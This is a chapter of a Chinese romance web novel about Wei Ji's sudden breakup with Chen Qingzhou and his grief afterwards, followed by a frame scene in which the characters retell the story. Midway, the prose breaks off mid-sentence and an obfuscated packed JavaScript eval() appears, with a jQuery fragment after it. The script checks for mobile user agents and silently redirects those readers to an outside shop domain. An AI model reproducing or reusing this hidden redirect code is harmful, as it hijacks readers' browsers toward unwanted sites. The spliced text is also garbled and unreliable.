听见韦霁简单却如天雷轰顶一般的四个字,孔叶正给陈清州噼里啪啦发消息的手指一下子顿在原地。
怎么个事?
她猜是吵架了,但这两天一直甜甜蜜蜜如胶似漆的怎么就闹到要分手的程度了?
但转念一想,谁家好人吵架会倒在雨中啊?
陈清州净忙着工作,也不亲自来关心一下,一点都不负责任!
该分!
孔叶把手指移到删除键上,连按直到清屏。
还让她随时给他分享韦霁的状况,分享个屁啊!
前男友不配知道这些。
“行,我支持你。”孔叶收起手机,“那我带你回宿舍吧?”
韦霁点点头,她本也不想在医院多待。
接下来的事情按部就班。
韦霁发消息表明了自己的想法。
陈清州收到消息时如当头一棒。
天明明已然放晴,骄阳似火,但他如置身冰窖,不禁浑身发抖。
“怎么了?”张竞注意到陈清州的不对劲。
“我要回去一趟。”
姜毓亭瞬间转身,质问道,“你不管我了吗,陈清州?”
从认识她至今,陈清州每次都是忌惮她真的会轻生,他不想看到有人这么草率地结束自己的生命,希望能够尽力帮到她。
但现在有比这更重要的事。
“张竞会和你一起,咨询结束后把结果告诉我就行。”陈清州严肃地说,“但这是你自己的事情,姜毓亭,任何人都不是你的救世主,能够救你的人只有你自己。”
然而赶回去也无果,陈清州无论是发消息还是打电话都得不到任何回应,所有的社交媒体他也试了,韦霁没有任何回复。
孔叶也如人间蒸发了一般,明明早上还给他发了好几条消息让他放心,现在竟然直接被拉黑。
陈清州急疯了。
他回了出租屋,一切如常,又跑回女生宿舍楼下,待了一夜,却没有看到任何和孔叶、韦霁相似的人影。
直到张竞找过来。
“你怎么搞的?韦霁和你吵架了?她不是都要出国了吗?”
陈清州闻言,一下子紧紧攥住张竞的衣襟,眼底因为连续很久没睡好而泛着红血丝。
“你说谁要出国?”
“韦霁啊,”张竞有些奇怪,觉得不对劲,说话也变得迟疑,“你不知道吗、”
陈清州关节泛白,手指一点点泄了力气,声音也如泡在王水里被腐蚀了一般。
“她说要跟我分手。”
“不是,你前天不是还和她在一起吗?怎么就分手了?”
陈清州摇摇头,缓缓蹲下身,将头埋在臂弯。
张竞从小认识陈清洲,他向来是自信有光芒的,哪怕遇到了“未及”可能会倒闭这样的挫折,张竞也没见他这样无力失落过。
呜咽声逐渐传来,如委屈的小兽蜷缩在角落。
两个男生在女生宿舍楼下很显眼,来来往往的人都投来或异样或疑惑的目光,但此刻张竞也顾不上这么多,只蹲在一旁静静陪着陈清州。
陈清州他了解,哪怕是在心理上不想过分接近的姜毓亭,也会不忍见她落入险境,想要尽可能地帮一帮忙,但又极有分寸,姜毓亭睡在病房里的时候,陈清州绝不会单独进去。
尽管白天忙得脚不沾地,晚上也绝对要回去找韦霁,要说守男德,张竞自诩第二,陈清州第一。
韦霁他也算熟悉,是个漂亮且通情达理的女孩,自从陈清州和她在一起后,每次约会结束都会带回来一堆好吃的,为此张竞都胖了不少。
他实在想象不出这样的两个人在一起会有什么矛盾导致他们分开。
张竞其实只蹲了五分钟,但觉得好像过了五辈子,“我的大学人生”被他翻过来覆过去地想了好几遍,最后得出了两种可能性。
难道是因为这几天陈清州没休息好胡子拉碴的样子太粗糙了,韦霁见了心思嫌弃?
还是说,因为陈清州这几天和自己待在一起的时间太长了,韦霁吃醋了?
不应该啊,韦霁连姜毓亭的醋都没吃,还吃自己的醋?
不过自己和陈清州的关系的确也不是姜毓亭能比的。
张竞还没来得及否掉第二种可能性,陈清州就已经站了起来,神色平静,但双颊的泪痕已然暴露发生过的事实。
他开口,嗓音嘶哑,“走吧。”
随即大步流星往前走,张竞愣了下,赶紧加快脚步跟上,一头雾水却又不敢发问。
“我知道她,下定决心要做的事就不会回头。”
“只是为什么不告诉我,我怎么什么都不知道。”
“她之前提过一次这个留学项目,表示感兴趣,但没有跟我说过在准备材料啊。”
“是不是我和姜毓亭走得太近让他不高兴了?”
陈清州一路都在念叨,张竞不想问都已经听了个七七八八,但仍满腹疑惑。
他突然很想回去重修马哲,谁能教教他到底怎么抓主要矛盾?
现在到底是和前女友破镜重圆重要,还是帮落魄千金复仇更重要?
关键是,这两者的几率似乎都是万分之一,最后受到伤害的估计还是“未及”。
虽然张竞豪言壮志地表示会一直追随陈清州,但仍为自己的钱包心疼。
张竞就这么揣着满脑子的乱七八糟想法地一路走着,直到闻到,猛地抬头,张竞才发现陈清州居然一路走来食堂了。
“你怎么...?”他万万没想到目的地是食堂。
“饿了,先吃点东西吧。”陈清州的语气依旧平静,似一潭死水。
“好、好。”
随后张竞就眼睁睁看着陈清州把食堂几乎每个窗口的吃的都买了个遍。
“你是看‘未及’没钱了,准备转战食堂了吗,陈总?”张竞试图开个玩笑缓和气氛。
陈清州依旧答复简单:“我饿了。”
饿死鬼投胎也吃不了这么多东西啊,张竞对着满桌的吃食发愁。
本着不浪费的原则,张竞硬生生塞下了两份米线和一碗猪脚饭,依旧若干炸串。
他都已经撑得不行了,陈清州却还在往嘴里塞食物。
面无表情,动作是机械系地重复,好像一个被设置了重复指令的人机。
张竞怎么劝都没用,最后这么一大桌东西竟也被吃了个七七八八,陈清州竟还一副不显山不露水的模样。
刚迈上食堂门口的台阶,陈清州就扶上了旁边的石柱,张竞还没来得及上去问具体情况,“哇”的一声,陈清州将刚刚硬塞下去的食物一股脑全吐了出来。
张竞赶紧递了张纸过去,“我带你去校医院吧?”
“这几天还真是离不开医院了,”陈清州自嘲地笑笑,“谢谢,我回出租屋吧。”
“行,我送你过去。”
出租屋门没锁。
张竞立刻警觉,怎么大白天的还有人登堂入室,暗暗握住门口的鞋架悄然举起,打算兵来架挡。
陈清州拦住他,语气肯定,“是韦霁。”
张竞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672679|202406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心生诧异,但又秒懂,拍了拍陈清州的肩,“那我先走了,有需要随时喊我。”
陈清州颔首。
拉开门走入,房间里传来窸窸窣窣的声音,里间的人也听到外面的动静,主动走了出来。
不是韦霁,是孔叶。
陈清州看清对方的脸后一瞬间大脑一片空白。
“你...”
孔叶抿了抿唇,眼神中闪过一丝不忍,但很快又变坚定。
“韦霁让我来收拾下她的东西,正好你回来了,我就不用给你留字条了。”
有好些话在陈清州的喉头滚动,斟酌许久,最后化为三个字,“为什么?”
孔叶也为难。
“韦霁没有告诉我原因,她也很难受,病情反反复复,还一直内耗,我不想再因为伤心的事情去打扰他了。但是具体发生了什么,你心里应该很清楚吧。”
陈清州不清楚。
以前也有过几次临时有事弄到很晚才回来,事后他和韦霁解释了,韦霁也总是笑着跟他说没关系。
他知道自己最近很忙,他希望“未及”能够赶紧走上正轨,这样他可以让韦霁在毕业后不要有那么大的压力。
可是怎么一切都搞砸了。
“陈清州,”孔叶真诚地喊了他的名字,“在还不认识你这个人的时候,我和韦霁都觉得你是一个很优秀很厉害的人,后来作为一个旁观者,我也认识到你是一个很有责任感很善良的男生。这些都是你,生活中、学业上、事业上的你,那么,在感情里,你到底是一个什么样的人呢?”
后来这个问题伴随了陈清州四年。
--
不同人的口吻、不同的视角共同拼凑出了一个完整的故事。
旁听者为之动容,诉说者心生感慨,亲历者仍有不甘。
场上一时被沉默占据,有人眼角溢出泪花,有人双手紧攥成拳。
厨房里传来“叮”的一声打破这份沉寂,四人同时猛然抬头,半懵半恍然的眼神撞到一起——
大家都几乎要忘掉了厨房里烤箱还在运转的事情。
周平海最先反应过来,起身前往厨房,并打着圆场,“我的蛋糕终于好了,每人都来一块大的啊。”
姜毓亭这个时候很懂眼色,赶紧跟过去,“周教授,我来帮您。”
少了两道目光,韦霁和陈清州就这么不期而遇地对视上。
但这一次,谁都没有躲开。
“你那个时候...”
“那你当时...”
两人突然同时开口,意识到这一点后两人又同时刹住,但并不是因为避让,只是被打断时的下意识操作。
韦霁和陈清州的眼中都含有同样的痛苦和表达欲。
“蛋糕来咯。”
周平海戴着隔热手套捧出来一个方形纸板,其上是一个圆形的凹凸不平的粉色蛋糕,姜毓亭紧随其后,手里拿着几副餐具。
两人又同时敛去眼眸中多余的情绪,看向周平海。
周平海没有察觉出不对劲,或者说,这份不对劲是必然的,是贯穿了故事讲述的,他没有特别地感受到这两个人之间暗流涌动。
姜毓亭帮忙切蛋糕,分给了四个人。
这个时候没有人再有心思去管蛋糕到底好不好吃,只如走流程一般接过属于自己的那一份,但谁也没有先开动。
仿佛是特意把空间留出来给两人提问一般。
“那你当时什么时候申请出国的?”
“你那个时候为什么要卖掉‘未及’?”